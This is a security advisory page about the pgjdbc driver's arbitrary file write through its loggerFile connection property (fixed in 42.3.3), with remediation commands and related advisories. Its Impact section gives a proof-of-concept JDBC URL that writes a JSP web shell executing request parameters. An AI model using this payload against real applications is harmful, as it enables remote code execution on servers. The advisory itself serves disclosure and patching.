pgjdbc Arbitrary File Write Vulnerability
Published 16 Feb 2022 · Updated 10 Sept 2026
Is your project on an affected org.postgresql:postgresql?
Look after several Java apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- >=42.1.0 <42.3.3
- Fixed in
- 42.3.3
mvn versions:use-dep-version -Dincludes=org.postgresql:postgresql -DdepVersion=42.3.3 -DforceVersion=trueDetails
Overview
The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.
It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.
While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.
If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.
Impact
It is possible to specify an arbitrary filename in the loggerFileName connection parameter "jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>"
This creates a valid JSP file which could lead to a Remote Code Execution
Patches
LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3
Workarounds
sanitize the inputs to the driver
Reported by Allan Lou v3ged0ge@gmail.com
Is GHSA-673j-qm5f-xpv8 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected org.postgresql:postgresql, and gives you the command that fixes it.
More advisories for org.postgresql:postgresql
- HighCVE-2026-54291PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms · 21 Jul 2026
- HighCVE-2026-42198pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS · 5 May 2026
- HighCVE-2025-49146pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration · 11 Jun 2025
- CriticalCVE-2024-1597org.postgresql:postgresql vulnerable to SQL Injection via line comment generation · 21 Feb 2024
- MediumCVE-2022-41946TemporaryFolder on unix-like systems does not limit access to created files · 23 Nov 2022
- HighCVE-2022-31197PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names · 6 Aug 2022
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.